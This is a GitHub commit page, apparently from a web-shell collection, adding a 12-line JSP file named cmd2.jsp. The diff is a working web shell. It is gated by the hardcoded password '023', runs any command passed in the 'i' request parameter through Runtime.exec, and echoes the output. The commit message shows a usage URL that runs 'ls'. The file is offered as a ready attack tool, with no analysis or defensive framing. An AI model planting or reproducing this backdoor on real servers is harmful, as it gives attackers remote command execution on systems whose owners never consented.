Skip to content

Commit

Permalink
add cmd2.jsp
Browse files Browse the repository at this point in the history
like http://site/url/cmd2.jsp?pwd=023&i=ls
  • Loading branch information
tennc committed Dec 19, 2014
1 parent 5e4358b commit abaa8b5
Showing 1 changed file with 12 additions and 0 deletions.
12 changes: 12 additions & 0 deletions jsp/cat/cmd2.jsp
Original file line number Diff line number Diff line change
@@ -0,0 +1,12 @@
<%
if("023".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>

0 comments on commit abaa8b5

Please sign in to comment.